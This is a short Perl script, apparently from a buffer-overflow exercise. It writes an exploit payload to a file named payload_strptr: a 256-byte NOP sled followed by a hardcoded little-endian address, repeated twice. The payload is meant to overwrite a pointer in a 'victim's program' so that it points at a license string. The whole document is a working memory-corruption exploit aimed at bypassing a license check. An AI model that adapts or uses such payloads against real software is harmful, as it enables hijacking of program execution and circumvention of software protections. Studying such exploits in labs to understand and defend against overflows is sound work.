#!/usr/bin/perl # This address must match the address of license string pointer my $license = "\x82\x85\x04\x08\x82\x85\x04\x08"; #8048582 # Fill NOP instruction my $pad = "\x90" x 256; # Input string to our victim's program my $arg = $pad.$license; # Let us store the input string to a file open OUT, "> payload_strptr"; print OUT $arg; close OUT;